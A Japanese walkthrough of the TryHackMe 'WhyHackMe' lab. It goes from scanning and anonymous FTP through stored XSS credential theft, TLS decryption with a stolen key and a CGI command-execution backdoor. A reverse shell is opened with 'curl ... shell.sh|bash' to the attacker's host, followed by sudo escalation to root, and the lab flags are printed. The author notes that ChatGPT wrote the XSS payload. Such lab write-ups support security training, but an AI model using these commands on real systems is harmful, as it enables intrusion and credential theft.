概要
TryHackMe「WhyHackMe」のWalkthroughです。
Task1
Q1.What is the user flag?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.171.42 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 318 Mar 14 2023 update.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 47:71:2b:90:7d:89:b8:e9:b4:6a:76:c1:50:49:43:cf (RSA)
| 256 cb:29:97:dc:fd:85:d9:ea:f8:84:98:0b:66:10:5e:6f (ECDSA)
|_ 256 12:3f:38:92:a7:ba:7f:da:a7:18:4f:0d:ff:56:c1:1f (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Welcome!!
|_http-server-header: Apache/2.4.41 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 8.2p1 |
80 | http | Apache httpd 2.4.41 |
FTPにAnonymous
ログインできるので確認するとテキストファイルを発見しました。
$ ftp 10.10.171.42
Connected to 10.10.171.42.
220 (vsFTPd 3.0.3)
Name (10.10.171.42:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||44008|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 318 Mar 14 2023 update.txt
226 Directory send OK.
update.txt
の内容から127.0.0.1/dir/pass.txt
が侵入の手掛かりになりそうです。
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin
ディレクトリスキャンをします。
$ dirsearch -u http://10.10.171.42
[00:30:59] 301 - 313B - /assets -> http://10.10.171.42/assets/
[00:30:59] 200 - 482B - /assets/
[00:31:09] 200 - 0B - /config.php
[00:31:34] 200 - 282B - /login.php
[00:31:34] 302 - 0B - /logout.php -> login.php
[00:31:53] 200 - 374B - /register.php
/register.php
->login.php
からログインするとブログにコメントが書き込めます。
username
フィールドでStored XSSの脆弱性が見つかりました。
ペイロードはChatGPTに書いてもらいました。
上記ペイロードをユーザー名にしてアカウントを作成すると127.0.0.1/dir/pass.txt
の内容を取得できました。
Username: jack
,Password: WhyIsMyPasswordSoStrongIDK
が判明しました。
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [19/Oct/2024 13:23:22] code 404, message File not found
127.0.0.1 - - [19/Oct/2024 13:23:22] "GET /dir/pass.txt HTTP/1.1" 404 -
10.10.221.167 - - [19/Oct/2024 13:23:32] code 404, message File not found
10.10.221.167 - - [19/Oct/2024 13:23:32] "GET /collect?data=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 404 -
得られた認証情報でSSH接続を試みると成功しました。
$ ssh jack@10.10.221.167
jack@ubuntu:~$
/home/jack/user.txt
からユーザーフラグを入手できました。
1ca4eb201787acbfcf9e70fca87b866a
A.1ca4eb201787acbfcf9e70fca87b866a
Q2.What is the root flag?
sudo -l
で/usr/sbin/iptables
を見つけました。
$ sudo -l
[sudo] password for jack:
Matching Defaults entries for jack on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jack may run the following commands on ubuntu:
(ALL : ALL) /usr/sbin/iptables
また、/opt
配下にpcapファイルを発見しました。
$ ls -la /opt
total 40
drwxr-xr-x 2 root root 4096 Aug 16 2023 .
drwxr-xr-x 19 root root 4096 Mar 14 2023 ..
-rw-r--r-- 1 root root 27247 Aug 16 2023 capture.pcap
-rw-r--r-- 1 root root 388 Aug 16 2023 urgent.txt
ファイルをダウンロードし、パケットを見るとTLS1.2のパケットがキャプチャされています。
パケットを復号するために、証明書のキーファイルを探します。
<VirtualHost *:41312>
ServerName www.example.com
ServerAdmin webmaster@localhost
#ErrorLog ${APACHE_LOG_DIR}/error.log
#CustomLog ${APACHE_LOG_DIR}/access.log combined
ErrorLog /dev/null
SSLEngine on
SSLCipherSuite AES256-SHA
SSLProtocol -all +TLSv1.2
SSLCertificateFile /etc/apache2/certs/apache-certificate.crt
SSLCertificateKeyFile /etc/apache2/certs/apache.key
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
AddHandler cgi-script .cgi .py .pl
DocumentRoot /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride All
Options +ExecCGI -Multiviews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
キーファイルが/etc/apache2/certs/apache.key
だと分かりました。
キーファイルをダウンロードします。
Edit
->Preferences
->Protocols
->TLS
->RSA keys list
からキーファイルをインポートします。
HTTPでフィルタリングすると41312
ポートでRCEのパケットを取得できました。
iptablesで41312
ポートを開放します。
$ sudo iptables -I INPUT -p tcp --dport 41312 -j ACCEPT
[sudo] password for jack:
jack@ubuntu:/opt$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT tcp -- anywhere anywhere tcp dpt:41312
DROP tcp -- anywhere anywhere tcp dpt:41312
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate NEW,RELATED,ESTABLISHED
ACCEPT tcp -- anywhere anywhere tcp dpt:ssh
ACCEPT tcp -- anywhere anywhere tcp dpt:http
ACCEPT icmp -- anywhere anywhere icmp echo-request
ACCEPT icmp -- anywhere anywhere icmp echo-reply
DROP all -- anywhere anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere
https://10.10.221.167:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
にアクセスするとRCEに成功しています。
&cmd=curl http://10.6.55.144/shell.sh|bash
でリバースシェルを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.221.167] 49436
bash: cannot set terminal process group (858): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -l
を確認します。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: ALL
rootでbashを起動し、権限昇格に成功しました。
$ sudo -u root /bin/bash
sudo -u root /bin/bash
root@ubuntu:/usr/lib/cgi-bin#
/root/root.txt
からルートフラグを入手できます。
4dbe2259ae53846441cc2479b5475c72
A.4dbe2259ae53846441cc2479b5475c72